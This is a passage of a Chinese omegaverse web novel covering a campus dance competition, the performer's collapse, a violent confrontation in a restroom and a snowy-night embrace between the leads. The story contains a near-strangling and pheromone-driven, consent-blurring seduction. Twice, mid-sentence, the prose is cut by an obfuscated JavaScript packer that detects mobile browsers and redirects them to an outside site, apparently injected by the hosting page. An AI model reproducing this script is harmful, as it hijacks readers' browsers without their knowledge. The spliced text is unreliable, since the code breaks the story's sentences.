商随怎么这么狠,都不带一丝犹豫的,跟时绮这个胆大包天的倒是很合拍。 见那管血红的抑制剂被完全注入时绮体内,大家都沉默下来。 不知谁最先小声感慨一句:“我靠,牛逼,燃起来了。” “今天都不准叫小绮了,叫绮哥!” “绮哥这通操作堪比本人当年晕3D,为了玩3D游戏硬吃晕车药。” “你还有这么辉煌的战绩呢?怎么狙位还是玩得跟屎一样。” “哎真是……”周围吵吵嚷嚷,先前凝重的氛围轻松了不少。即便如此,社长还是叮嘱道,“你适应看看,实在不行不用勉强自己上台,万一晕倒了怎么办?” 特效抑制剂起效很快,大约两分钟后,身体里的热度基本消散,对信息素过分敏感的状况也极大程度得到缓解。 时绮站了起来,他压了压手臂,头向左边旋转、拧到一定位置后再向右边。尝试着活动身体。 有一些头晕,但尚在足以控制的范围内。 可以。 能跳。 “不会晕倒,也不会失误。”时绮回复道,“放心。” “小绮,”商随望着他明亮的眼睛,突然半真半假问,“我能嫁给你吗?” “——我操,时绮你刚才那一下帅爆!我也心动了,你能对我负责吗?” 时绮只当大家开玩笑,也顺势道:“你可以,”他指了指商随,又昂起下巴示意后面叫喊的男生:“你不行。” “时绮好偏心!” 社长依稀感觉到商随和时绮关系微妙,抬高声音:“那你先长成商大帅哥那样再说呗。” “要上台了,过来过来!聚到一起!”社长一边说,一边抓住最近的社员。 大家一个接一个,将手叠到一起。时绮的手叠在最上方,见商随独自站在一旁,他不假思索抓住商随的手,将他拉到自己身边。 “三、二、一——” 大家一起喊:“加油加油加油!” 上一组表演结束,简单整理后,主持人即将开始报幕。 马上就要登台,时绮正准备往前走,耳畔传来一声细微的动静。 等他意识到发生了什么,身上搭配用的项链已经断开,在地上滚了一圈。 时绮没绷住,在心里骂了一声。 操。 真是祸不单行。 尽管不是什么大事,登台前接二连三的意外却无可避免影响了心情,他默不作声将断成两截的项链捡起来放在化妆台上。 有人在这时取下自己的饰品,细碎的光芒从时绮眼前一闪而逝:“要不要戴我的?” 时绮凝目,看见商随手里的项链。 是一大一小叠戴的两只满钻十字架,非常璀璨亮眼的金色。 本来他不喜欢太过闪耀的饰品,但一想到是商随的项链,好像能从中获得一点儿好运和力量。 “嗯。” 时绮没想到,在他点头后,商随没把项链给他,而是选择亲手帮他戴上。 想来时间紧迫,这样确实更快。时绮略微低下脖颈,毫无防备地将雪白的后颈暴露在商随眼皮底下。 他同时小声问:“你刚才怎么不主动过来给我加油。” 乍一听是在抱怨,时绮的语气却透出明知自己会被包容的骄纵。 商随动作一顿,朝他笑笑:“刚刚没有说,你知道吧?你一直很了不起。” 时绮没想到他说得这么认真,真正收到商随的夸赞,又觉得脸热。 “其实也还好,只是打个抑制剂,没你说的那么厉害——” 或许时绮自己都没意识到,因为他的决定,短时间内气氛发生了翻天覆地的变化,大家都重新变得跃跃欲试,甚至比一开始更有冲劲。 商随看着他不好意思的模样,心里某个角落柔软下来。 六年过去了。 你还是和记忆里一样勇敢,这当然了不起,你永远都会了不起的。 商随扣上项链。旁人看来,像是用双臂亲密地搂住时绮的脖颈,被圈在其中的Omega丝毫没有逃跑的意向。 商随轻声说:“你一定能做得很好。” 13.演出 落日斜照而下,最后一组表演者上台准备。 压台演出天然被观众赋予了期待,这一组都是惹眼的俊男靓女,周围不少人打开手机准备拍摄。 待机时间,社长笑嘻嘻地跟时绮比划着什么。下一秒,时绮的脸倏忽投在大屏幕上,LED屏幕特有的效果使色彩增强,画面明亮艳丽。引得下方传来好一阵尖叫。 林言和商随来到事先预留的位置。前排人声鼎沸,林言想到什么:“你之前是不是没看过他跳舞?” 见商随应声,林言笑道:“那一会儿有得看了。” 像是为了应和这句话,不远处有女生举着长焦相机,高声冲台上喊:“小绮———!看这边看这边!!” 旁边人忍不住问:“怎么还有扛大炮的?” “为了拍最中间那个男生吧,他很有名。刚才听他们闲聊,左手边那一圈人都是冲他来的。” 主持人微笑着开始报幕:“终于到了日落时刻,我个人认为这是一天中最美妙的时分之一,我们将在夕照中迎来最后一支舞!这场的表演者恰好来自本校……” 时绮微微掐了一下掌心,让自己集中注意力。 强效抑制剂的副作用令主持人的报幕声犹如隔了一层雾气,听不真切。但身体不适带来的压力并没让时绮畏手畏脚,反而感到一种即将冲破一切的兴奋。 “开始了!”社长小声说。 作为导入的贝斯轻快明亮,第一个八拍过后,骤然传来一声消音似的警报—— 时绮抬起头,身体一震,卡着鼓点进入节奏。 他们表演的是一首节奏感强烈的英文歌曲,编舞来自于一家风格鲜明的舞室,非常考验舞者对力量的控制。 最开始社长为了降低难度抹掉了一部分舞蹈细节,时绮加入后,她总觉得让他跳简化后的残次品暴殄天物,这一部分最终被重新拾起。大家一起做了相应的调整,好几次都练到凌晨。 进入副歌,时绮的动作与其他人正好完全相反。 当大家齐齐低身,时绮在人群中伴随阴暗的重鼓点边跳边抬高双手,干脆利落的动作犹如操控一切的主宰;当其他人起身,时绮独自下压身体,后排的两个男生在这时跳出人群同他做出全然一致的动作。 但时绮故意炫技似的卡了后拍,比另外两人始终要慢上些许,看似慵懒松弛,却又精准地踩在绝不出错的位置。对比之下令人眼花缭乱。 现场因为这精彩的一幕爆发出热烈的掌声和欢呼! “操!帅啊!”林言被狠狠秀了一把,不由自主感慨,“这小子果然是高压型选手,压力越大表现越好。” 商随目不转睛,看着台上快速走位的时绮。 和丝毫挑不出差错的表现不同,时绮感到一阵阵头晕目眩。他其实已经快要听不清楚节拍,全靠无数次反复练习后的身体本能在跳舞。 与之相反的是,他竟能清晰感觉到脖颈上的项链随他每一次律动而摇晃,像一颗小小的、外置的心脏。 它散发着浅淡到几乎察觉不到的甜蜜气味。是属于另一个人的信息素气息。 每到特定的角度,时绮身上还算宽松的两条皮带就会勒得紧紧的,显得腰极细。其上点缀的数条金属细链飞舞作响。 台下传来一阵躁动: “我去我去,我要看热了!” “谁给他挑的这玩意儿?简直堪比视线诱捕器!” 林言转过头,谦虚地说:“不好意思,正是在下。” “挑得好。”商随简单夸了一句,目光始终聚集在时绮身上。 商随在林言心里属于非常有衣品那一类,能得到他的肯定,林言嘿嘿笑了一声。 落日时分,世界溺在金色的光里。 商随的视线一点点掠过时绮的脸颊、纤细的脖颈、腰、笔直的腿。重量感强烈的电子鼓点化作震耳欲聋的心跳,他感到一阵热意,而后是难以遏制的干渴。 商随微微活动了一下手指。Alpha刻在骨子里的掠食本能被勾得蠢蠢欲动,尖锐的犬齿传来连绵不绝的痒意。 意识到自己竟然有了轻微的失控征兆,回过神来,商随都觉得不可思议。 除了易感期,他多少年没有这种体验了? 只是看时绮跳个舞而已,真是…… 不争气。 想到这里,他不禁无声地笑了笑。 唱词戛然而止,只余下伴奏。其他人暂时离场,只剩时绮和社长两人留在舞台中央。 女生脸上洋溢着灿烂的笑容,粉色长发在风中摇曳。与她相比,时绮的神情和气质都格外冷淡,每一个大开大合的动作却极为舒展,仿佛爆发的冷焰火。令旁观者真切感受到他在享受舞蹈。 这段dancebreak后大家重新聚在一起,将节目推向高潮。伴奏歌曲也演唱到最后部分。 若是直译过来,是一句热烈的告白: -[我的心脏将永远为你燃烧,直到你说一切停止的那天。] 时绮单手下压,Ending动作与歌词完美对应。 结束了。 时绮想。 就像上台前承诺的那样,没有晕倒、没有失误地结束了。 他从头到尾没什么表情,这时却如释重负笑了起来,犹如冬雪消融。 这个耀眼的笑容充满了感染力,现场尖叫不断,有人激动地大声呼喊他的名字。 但很快,时绮什么都听不见了。 高强度的舞蹈结束后,先前被强压下去的眩晕感令他两眼一黑,只能勉强控制着没有摔倒,支撑自己跪坐在地上。 离他最近的社长上一秒还在开开心心向观众鞠躬,转头就惊慌失措:“小绮!小绮你怎么了??还好吗?!” 时绮想说还可以,只是头晕,却没有一丝回答的力气。 大家都不知道他发生了什么,台下传来焦躁担忧的议论,一片混乱中,有人匆匆上台。 时绮情不自禁被他的信息素吸引,在那人朝他伸出手时,顺从本能跌进对方怀里。 社长到处问:“你们有糖吗!或者巧克力?!” 台下很快有人送来糖果,社长急忙跑过来递给商随:“他应该也有点儿低血糖,先给他吃颗糖。” “小绮,张嘴。”商随一手揽着他,一手将撕开包装的奶糖递到时绮唇边。 时绮埋在商随怀里一动不动,听不见任何声音。商随不得不催促性地捏了捏他的后颈,在时绮张嘴时眼疾手快将奶糖塞了进去。 高匹配度的Alpha和Omega信息素能够相互缓解不适。商随索性伸出手,捂住时绮的脸,同时释放了少量信息素。 Omega巴掌大的小脸泛着红晕,被Alpha宽大修长的手完完全全遮盖。 好香…… 好喜欢的味道。 时绮无意识蹭了一下商随的手,而后意犹未尽地又蹭一下。他还被商随搂着,浑身发抖,却像上瘾一样追逐商随的气息。 这副画面太过令人脸红心跳,台下原本满是担忧的声音,逐渐有人忍不住窃窃私语。 商随没有被人看热闹的兴趣,见时绮好一些了,干脆直接把人打横抱了起来。 他抱时绮很轻松,就像抱了个大号的洋娃娃。也因为横抱的姿势,时绮的头顺势埋进他的颈窝,距离Alpha散发香味的腺体极近。 恍惚中,时绮又一次嗅到了馥郁的气味。 好甜…… 还想要。 商随脚步一顿,手背一点点凸起青筋,却又逼迫自己不能用力,以免弄得时绮难受。 他头一次觉得时绮是来折磨人的。 仗着脑子不清晰,怀里的Omega伸出舌尖,舔了一下他的颈侧。 - 突发意外,舞社一半人留下来等待比赛结果,剩下的陪同商随和时绮去了医务室。 一路上时绮几乎离不开人,时不时就会在商随怀里拱来拱去,快到医务室门口才没再折腾。 商随低头,发现他已经累得闭上眼睛。 商随加快步伐,林言急匆匆跑去叫了校医。幸好医生检查后说时绮只是疲惫过度,放松睡一觉,醒来就没什么大问题了。 知道他上台前打了特效抑制剂,校医表情一变:“真是胡闹!打完特效抑制剂之后不能剧烈运动,这点常识你们都不知道吗?” 舞社的其他社员都低头挨训,谁也不敢说话。想着人是被商随抱进来的,校医逮住他道:“你是他的Alpha?” 商随点了点头,校医皱眉:“你怎么不好好看着他?他要乱来你就让他乱来?谁给他打的抑制剂,你不去找那人算账?!” 商随:“我。” 校医一口气险些没喘上来:“你看着挺能耐的,怎么做事这么冲动!” 林言在一旁默默围观,觉得商随真是靠谱,连挨骂的时候都能顶上。 校医千叮万嘱短期内绝不能让时绮再使用特效抑制剂。时绮醒来后,说不定还会感觉身体不舒服,需要多加注意。 除此之外,因为特殊抑制剂太过强劲,下一次发情期常规抑制剂会失去效果,也要做好应对的准备。 商随一一记下。等校医离开后,他让林言看着时绮睡觉,自己去了一趟厕所。 当他推开隔间门出来时,恰好听见隔壁传来打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903092|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话的动静。 “对啊,真人比网上还好看,长得跟人偶似的……” “今天在台上好几次我都忍不住看他。我从没见过这么漂亮的Omega,就是性子傲了点儿。” 顾澄嘻嘻哈哈道:“操,那我肯定想亲啊……别说了,人还在医务室躺着,说得我他妈都快兴奋了。” “追到了再说呗,说到底也还是Omega,上了床就那样。都会听话的。” 顾澄挂掉电话拉开隔间门,发现有人站在外面。 商随比他高了小半个头,低垂着眼,看不清楚表情。 顾澄短暂愣了愣,意识到对方可能听见他打电话,转念一想又觉得无所谓。 商随也是Alpha,肯定明白聊这些带点颜色的事情再正常不过。 他主动打了个招呼:“嗨,哥们儿。” 才跳完舞,激烈的运动令顾澄精神亢奋,不小心忘了商随身上流露过的邪性。 想到商随刚才上台抱了时绮,Alpha天性里的竞争欲被激发,顾澄故意挑衅地问:“你也喜欢时绮?” “他有一点迟钝,挺可爱对吧。” “毕竟Omega很稀有嘛,还是这么漂亮的Omega。”顾澄状似友好地伸出手,想拍一拍商随,“那咱们各凭本事,公平竞争。” 在触碰到商随之前,他的肩膀突然被人按住,力道大得令顾澄感觉自己的骨头会被生生捏碎。 顾澄下意识想去抓身边的着力点,手指在隔间门板用力挠了一道,指甲不小心断裂渗出血丝。商随对一切视若无睹,拖着他往墙角走。 “操!你干什么——!” 商随把人拖到墙边,猛地抬手一扔。 顾澄的身体重重撞在墙上,顿时眼冒金星。 “……你他妈疯了吧?!”手指和肩膀传来一阵剧痛,顾澄回过神来骂骂咧咧,“有病啊?!我X你妈!!” 在他吐出更多脏字前,商随伸出手,虎口卡住他的脖子,五指收紧。 顾澄自身有一米八出头,在Alpha中也算身体结实的那一类。但商随仅用单手就将他轻而易举提了起来。 怎么可能……! 这人是怪物吗?! 意识到自己脚尖一点点离地,顾澄惊骇地瞪大眼睛。 “感觉怎么样?” 商随将他提到与自己等高的位置,同顾澄对视。 脖子被死死卡住,顾澄几乎发不出声音,只能从喉咙里发出嚯、嚯的动静,鼻翼因为恐惧迅速收缩。 面前这双眼睛又一次令顾澄联想到五彩斑斓的花蛇。与上次不同,没有时绮在旁边,同他对视的Alpha仿佛终于解开了身上的一部分枷锁,暴露出最为真实的模样。 商随冲他笑了一下,毫不掩饰恶意:“哦,忘了,你现在不方便开口说话。” 对顾澄而言,喜欢时绮只是因为漂亮的外表,会和旁人嬉皮笑脸议论,若无其事开下流的玩笑。 但对他来说,时绮的存在具有相当特殊的意义,哪怕是他们分开以后、毫无交集的那几年里,也丝毫不曾磨灭。 是他不敢随意向他人提起,或是轻易炫耀的珍宝。 他知道自己脾气其实不怎么样,毕竟有特殊易感期的Alpha都是精神病态的疯子。 商随脸上最后一丝笑意淡去,面无表情加重了力气。 强烈的窒息感令顾澄开始耳鸣,脸也因充血迅速涨红。 求生本能促使他用两只手不断掰动商随的手背,挣扎过程中,顾澄断掉的指甲又一次翻开,溢出的鲜血滴落在商随手上。 但另一个人丝毫不受影响,用以禁锢的五指铁钳般一动不动。 “没办法呼吸,很生气?还是很害怕?” “听见你那些狗屁不通的鬼话,我比你现在更生气。” 顾澄勉强发出气音,痛苦地求饶:“……对不、起……我错、错了…对不起……!” 有一瞬间,他以为自己会死在这里。 在顾澄即将失去意识时,商随猛地松开手。 猝然间失去支撑,顾澄重重摔倒在地,从喉咙里爆发出一阵剧烈的干咳。 或许是生理反应,亦或是纯粹的恐惧,他捂着脖子不断咳嗽,眼泪同时涌了出来。 不知从何时起,商随没再收敛信息素。Alpha之间的压制最为暴力直白,笼罩在身上的气息犹如浓重的阴影,压得顾澄跪在地上,不敢抬头。 他从没有过这种体会,就像遇见了更为高等的生物,身体本能在叫嚣逃离。 商随最后踢了踢他:“想找死的话,你可以再靠近时绮试试。” 14.拥抱 空气中漂浮着淡淡的消毒水气味。时绮睫毛微微颤动,恍惚中,浅米色的天花板映入眼帘,耳畔忽然传来一道惊喜的声音。 “小绮!”社长第一个凑了过来,几乎热泪盈眶,“你终于醒了!” 林言从另一边凑过来:“你睡了好久,天都彻底黑了!再不醒我们都准备送你去医院……!” 因为太过激动,社长抓着他的手,林言抓住另一只。两人都十分用力,时绮感觉自己像是被两只金毛架起的布娃娃,只能用微弱的声音抗议:“别黏着我,热。” 奈何林言和社长都没听见,林言甚至直接抱住他的肩膀:“吓死我了!你知道上一秒才被你帅飞下一秒就被吓呆的体验吗?你要是有什么意外,我该怎么跟小安叔叔交代——” 社长同样声泪俱下:“呜呜呜呜!如果你有什么三长两短,我们拿第一有什么意义!” 他俩戏都很足,时绮在一片混乱中勉强捕捉到“第一”这个关键词,重复一遍:“第一?” “是啊是啊!”社长应和道,“我听见的时候也惊呆了,最开始我们的目标不是混过这次活动吗?” 不过惊讶之余,她很快就适应了这个结果。 和意识不清的时绮不同,跳到后面,她能明显感觉台下被带动了情绪,现场的气氛无比热烈。 况且舞社的成员们也为这次比赛付出了全力。时绮进来之后常常练习到凌晨,尽管他一向只要求自己,但大家都把他的努力看在眼里,平时最懒的那几个都不好意思拖他的后腿,没课就来舞室泡着。 “要喝水吗?”商随的声音在这时插了进来。 时绮抬头,看见商随拿了医务室的一次性纸杯,接了温水。 商随手背上有一道道红痕,像是被什么用力抓挠过,隐约渗出血丝。他似乎洗了很久,手上还带着轻微的水痕。 时绮点点头,又问:“你手怎么了?” 昏迷之前,他依稀记得是商随把他抱住,为缓解他的不适,商随似乎捂住他的脸、还释放了信息素。 想到这里,时绮感到一丝轻微的懊恼。 他对当时发生的一切几乎没什么印象,难得有机会闻商随的信息素,他却完全不记得确切的滋味。 除了绘涧那一次,他再也没有好好闻过商随的味道。只能在相处过程中若有若无嗅到蜂蜜混杂檀木的香气,越发显得第一次吸过瘾的体验弥足珍贵。 记忆里蛊惑人心的香味像猫挠似的,勾得时绮心痒痒。 可如果突然跟商随说我想闻你的信息素,又显得很奇怪,还很没礼貌。 时绮盯着他手上的伤,怀疑是自己吸得太激动,不小心挠出来的。 他很有自知之明,知道自己神志不清时什么混账事都干得出来,眼神中不由得透露出歉意。 “没事,不小心磕了一下。”商随略微停顿,仿佛看出他在想什么,“不是你弄的。” 商随说话时,林言和社长双双起身,自然而然给他让位置。 回过神来,林言感到了一丝困惑。 从小到大,时绮都有一些迟钝、也不太会照顾自己,林言习惯性照顾他;相应的,如果林言遇见什么麻烦,时绮会第一个站出来替他出头。 他俩就这么互帮互助地长大了,尽管谁都没提过,但在林言的观念里,照看时绮是他的工作。 商随已经到了病床边,抬手将纸杯轻轻抵在时绮唇畔,一点一点地喂他喝水。林言又觉得谁来照顾好像无关紧要。反正商随做得挺好的。 喝完半杯温水,时绮逐渐清醒,忍不住再次确认:“我们真的是第一?” 他说话时,唇角不知不觉上翘。 即使对名次并没有那么在意,被大家认可,时绮心里也很高兴。 “如假包换。”社长得意地撩了一把头发,“不好意思,哥几个姐几个还是太强,这个第一我们要了。” 林言:“一万块钱我们要了。” 时绮举手:“我申请吃顿好的。” “没有问题!” “时绮立大功,今天在我们这儿就是说一不二的皇帝,皇上您想吃什么随便挑!” “九点多了,这个时间要么吃烧烤要么吃火锅?” “火锅火锅!据说今晚要下雪,初雪天就该吃点热闹的!”说话的女生想起什么,十分期待地看向时绮,“可以吗皇上?” 大家都笑了起来,时绮矜持地点点头:“准了。” 感觉休息得差不多,时绮下床活动了一下手脚,确定身体没什么大碍。 林言提醒道:“医生说你需要多加注意,特效抑制剂药性太强,醒来后可能还会有后遗症。” 他顺便也把下次发情期不能使用抑制剂的事情说了,时绮不甚在意应了一声。 反正他一年到头也没几次发情期,真到那时候再说吧。 “对了,顾澄呢?”临出门前,有人发现少了一个人。 “他好像去上厕所了,跟随哥去的时间差不多,之后一直没回来。”说话的男生问商随,“哥,你碰见了吗?” 想到顾澄最后跪地痛哭求饶的模样,商随若无其事笑了笑:“没有呢。” 林言对顾澄没什么好感,一听说他不在立即道:“说不定顾澄不想跟我们凑一块儿,直接走了,我们就如他所愿吧?” “我把他的那份钱转给他,聚餐就不叫他了。”社长顿了顿,“顾澄确实……一般聚会都不参加。” 顾澄跟大家的关系不远不近,他还算会做人,但社长隐约能感觉到,他好像嫌他们的活动太幼稚,更多时候喜欢去夜店泡着,或者玩些别的。 学校附近就有商圈,大家就近挑了一家高评分的火锅店。 入座时,时绮和商随习惯性坐在一起。商随叫了他一声,两人用同一个手机商量着点单。社长不由得多看了一眼。 时绮不喜欢吃口味太重的东西,上菜以后,他基本只碰鸳鸯锅里清汤的那一侧。商随帮他用公勺捞菜,让他挑自己喜欢吃的。 时绮对此适应良好。旁观的社长终于忍不住,故意清清嗓子,在时绮抬头时露出八卦的笑容: “快跟我说实话!你俩到底什么关系?” 有个会来事儿的男生立即接茬:“皇上,我们这宫廷宴不能有外人啊!” 他故意停顿两秒,话锋一转:“——除非他跟您关系匪浅,那自然另当别论。” 之前大家吃过商随送的甜品,再加上他帮了时绮的忙,舞社的成员都很买他的账:“是是是!随哥的话,可以考虑考虑。” 有人笑着问商随:“哥,你是美院的助教老师吧?” 时绮面露好奇:“你怎么知道?” 他介绍那天明明只说了商随的名字。 “小绮是不是不上论坛?也不看各个学校的表白墙什么的。” 见时绮点头,说话的男生兴冲冲道:“他入职第一天就传疯了,美院的大帅哥老师!不信你问问他,好多蹭课的,甚至有外校的专程跑去美院,就为了看他一眼。” 时绮愣了一下:“真的?” 这么受欢迎? 商随笑笑:“没那么夸张。” “太谦虚了,帅哥都这么低调吗?” “美院的助教应该很难当?我听人说,基本都是三十好几才能进去,可随哥看着就跟我们差不多大。” “屁,人家比你光彩照人一万倍,你别趁机给自己抬咖。” 在一片嘻嘻哈哈里,有人想起最初的话题,大着胆子猜测:“哥,你是不是在追时绮啊?” 不等商随回答,时绮淡淡道:“追什么追。” 社长赶紧使了个眼色,说话人还以为玩笑开得太过,正要道歉。 “他是家属,”时绮神情自然地说,“我男朋友。” 和表现出来的淡定不同,他放在桌下的手指不知不觉紧握,当众说出那三个字,还是觉得烫嘴。 但追人再怎么都伴随着辛苦和付出,他不想有误会,让商随在其他人心里留下这类印象。 况且傅思越也在A大,早晚都会听说他们的关系。如果表现出蹊跷,时绮毫不怀疑傅思越会立即给时安打小报告。 “是哦,”商随忽然用双手搂住身边人的胳膊,缠着时绮粲然一笑,“我跟皇上是这种关系。” 他本就是艳丽撩人的长相,此刻面带笑意,眼角眉梢都像在放电。 鲜少见到这么爱跟Omega撒娇的Alpha,对比旁边被他弄得一愣一愣、胡乱点头的时绮,大家脑子里齐刷刷掠过一行字:以色惑主。 被商随靠着,时绮感到了一阵眩晕。 并非是舞台上那种双眼发黑的感受。他的双脚仿佛踩在柔软舒适的云朵里,四肢百骸都透出懒洋洋的醉意。 恍惚中,他似乎闻到稀薄的蜂蜜气息,令人口舌生津。 有人反应过来,举杯道:“原来是皇后,失敬失敬!” “操哈哈哈哈哈哈!谁准你脑子转这么快的??” “小绮你早说是男朋友啊,敬一杯敬一杯,两位百年好合!” 眼看大家都举起杯子,时绮低声问:“你还要抱多久?” 说是这么说,他维持着被搂住胳膊的姿势一动不动,没想过把人甩掉,用另一只手艰难地触碰自己放在远处的杯子。 商随在这时放开他,笑吟吟地将杯子顺手推了过来:“我帮您吧?皇上。” 时绮:“……你够了。” 时绮喝的可乐,商随也没碰酒。 这个话题过后,气氛越发热烈。 那阵令人骨头发软的眩晕感却挥之不去,甚至愈演愈烈。时绮迟来地想起林言说自己之前用了特效抑制剂,感觉就跟喝醉了一样、还拽着人说胡话。 他正问问林言,却见对方拉着社长,双手捧杯煽情道:“小桃姐,这一杯我干了!当初你慧眼识珠把我招了进来,没有你的栽培,就没有现在的我!” “言儿!”社长眼泪汪汪,她同样给自己满上酒,“我晓得、我都明白,你每一次在后排打游戏,我都知道你的心跟大家是连在一起的!” 时绮:“……” 看来两位现在都不怎么清醒。 “对了,你们之前是不是一起去了游乐场,还遇见过一个特殊易感期的Alpha?”有个女生看向商随和时绮,笑着说,“我当时刷到过那个见义勇为的视频,下面好多人磕你俩CP呢!结果真在一起了,民心所向哈哈哈哈!” 旁边有人捕捉到关键词,接话道:“说到这个,特殊易感期的Alpha实在太不稳定,十多年前有个连环杀人案,那凶手就是伪装成Beta的特易Alpha,还有虐杀癖——我操贼恐怖,我小时候看完新闻,吓得三天都没睡着。” “这个案子我也有印象!”说话的男生打了个寒颤,“要我说,虽然他们也很不容易,但身边如果有这种人,我第一反应肯定是离得远远的。” “毕竟是不稳定因素啊,而且听说身体素质也跟普通Alpha不同,他们就像是……更高等的生物?或者说怪物?” 商随神情不变,握住杯子的五指却慢慢收拢。 意识到自己不知不觉用了力气,商随又立即松开。 如果刚说完特殊易感期的Alpha身体素质与常人不同,下一秒就看见有人徒手捏碎杯子,未免太应景了点儿。 “你的手,”一道清澈的、不含杂质的声音倏忽响起,“看起来很疼。” 时绮望着他,商随低头,这才发现自己被顾澄抓过的手背满是红痕。 他肤色白,那些痕迹一部分已经开始发青,看起来狰狞可怖。 见时绮一眨不眨盯着自己,似乎是在担心。商随用一种分享秘密的音量半开玩笑道:“偷偷告诉你,其实我去揍了胡说八道的烂葡萄。” 顾澄的信息素是葡萄,算是烂葡萄吧。 “真的?” 不等商随应声,时绮不屑道:“水果会说话,你哄小孩儿呢?” 商随见他看起来迷迷糊糊,迟疑片刻,竖起一根手指:“这是几?” 时绮毫不犹豫:“看不懂。” 商随:“……” 想起他并没喝酒,这种晕乎乎的表现只可能是特效抑制剂的副作用。商随找沈千俞问了一下。 对方回复很快,说这类后遗症算是很轻微的,没什么大事,当喝醉了处理就行。 末了,沈千俞补充道: [有空能不能请您大驾光临,过来把心理测评做了。算我求你的。] 商随利落关上手机,假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919524|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装没看见。 正是在这时,肩膀上忽然多出一份重量。 一同袭来的还有微弱却清新的花香味。时绮意识不清,终于抵挡不住诱惑贴了上来,脑袋一歪,靠在商随身上。 感觉到近在咫尺属于另一个人的呼吸,商随犹如被施了定身咒,停在原地一动不动。 聚餐到了后半段,时绮几乎快要睡着。 他半眯着眼睛享受商随的气息。仿佛太阳底下小憩的猫咪,浑身上下透露出舒适和慵懒。 直到大家都陆陆续续站了起来,商随才低声叫他:“起来了,送你回去。” 时绮哦了一声,听话地站起身。 林言和社长醉得不省人事,旁边人架着他俩。相比之下,还能独立行走的时绮十分争气。 架着林言的男生放心道:“时绮就交给你了啊,哥。” 商随应了一声,稍微迟疑后,拉住时绮的手:“我牵着你走吧?” 这样比较安全,以免一会儿打滑或者撞上什么。 时绮乖顺地让他牵着,但走到室外,冷风一吹,逐渐开始不安分。 他蠢蠢欲动捏了一下商随的手,见自己没被甩开,干脆举起商随和他相握的手,顺从心意贴到脸颊边,心满意足蹭了一下。 商随的手背先前渗出了血。体-液里的信息素十分浓郁,虽然伤口已经止住,仍透过半愈合的皮肉散发出浓郁香甜的味道。 不知不觉,其他人渐渐走远,凌晨的街道人烟稀少,路灯下只余他们两人。 商随看他哼哼唧唧抓住自己的手,像是恨不得把脸埋进去,心里好笑,故意不理会时绮的挽留将手抽走。 时绮急匆匆跟上来,如同追逐毛线团的猫,说出了清醒时绝不会提出的要求:“不要走,我想闻你的信息素……!” “作为交换,我会……”时绮想了半天,实在不知道怎么表达等价交换的意思,最后灵光一现,“我会给你礼物的。” 周围安静下来,商随倏地停下脚步,目光沉沉看向他。 沈千俞说他大惊小怪,只是醉酒一样轻微的副作用,他却问了又问、再三确认。 但这分明就……麻烦得要命。 百分百的匹配度让时绮神志不清,一味地想和他亲近。 “礼物?”商随重复了一遍,像是怕打破什么,轻声道,“我很贪心,想要的东西很多。” 他注视着时绮茫然的脸,知道对方现在什么都不明白:“我怕你不愿意。” 时绮下意识跟着他,只差一点就能重新握住他的手。商随却在快要被触及时离开,像故意吊着人。 这么不上不下,搞得时绮都快疯了。 他正烦躁,商随的指甲在本就青青紫紫的手背上划了一道,原本已经愈合的伤口重新渗出鲜红的血丝。 血液里的信息素气味格外浓郁,时绮顿时被吸引,眼里流露出迷恋的神色,舌尖不自觉舔了舔牙齿。 迎着时绮的目光,商随开口道:“我想要一个承诺。” 即使知道只是受到信息素控制、晕晕乎乎说出的胡话,他也愿意用这样的小伎俩作为交换,听时绮亲口说出不能当真的诺言。 就当给自己找点安慰剂好了。 商随自娱自乐地想。 “我希望……你不要害怕我。” 眼睫传来微弱的湿意,有什么细碎又冰冷的东西无声无息融化。 商随抬头,看见夜雪自万米高空降落,纯洁的白色仿佛翩翩起舞的精灵,不着痕迹敲碎了黑沉平淡的午夜。 就像天气预报里那样,今年的初雪在他们身边降临。 时绮安静片刻,突然反问:“你有什么值得我怕的?” 在时绮眼里,面前这个人不是危险异常的Alpha,而是属于他的礼物。 明明很好闻,浑身上下都好甜,好想吃掉。 “是啊。”商随自顾自地回答,又笑了一下,声音透出低低的苦涩,“易感期的时候,我会变得很奇怪……我没办法控制自己。” “我不怕你。”不存在的礼物给不出去,时绮直接道,“你已经有了,换一个。” 商随怔然,曾经以为再也不会拥有、心脏仿佛受到牵引的滋味缓慢复苏。 在引诱时绮的同时,他也被时绮的话语所诱惑,不由自主想到了更过分的事情。 如果提出接吻作为礼物,时绮会同意吗。 更亲密的举动呢,他又会有什么反应? 即使他们落后所有人,也没谁觉得奇怪,因为时绮亲口说了他们是情侣。唯一知情的林言醉得不省人事。 现在的时绮在他手里就像任由摆布的玩偶,只要给一点信息素,就会乖乖跟他去任何地方,被骗上床也会傻乎乎地同意,说不定连终生标记都愿意让他做。 商随神色不明注视着他。雪花落在时绮头上,他似乎不太舒服,晃晃脑袋,试图把它们甩下去。 这个幼稚的小动作让他看起来年纪更小,像是短暂地回到了过去。 “我想要一个拥抱。” 商随的声音又轻又缓,语调如同恳求:“小绮,抱抱我吧。” 他一边说,一边将手伸到时绮眼皮底下,鲜红的血液散发出甜丝丝的信息素香气,在白皙的手背上格外醒目。是明目张胆的诱饵。 他总是很擅长这样,适当示弱、将自己扮演得楚楚可怜,同时不择手段地引诱。 几乎是他话音刚落,时绮上前一步,伸出双臂,一把抱住了他。 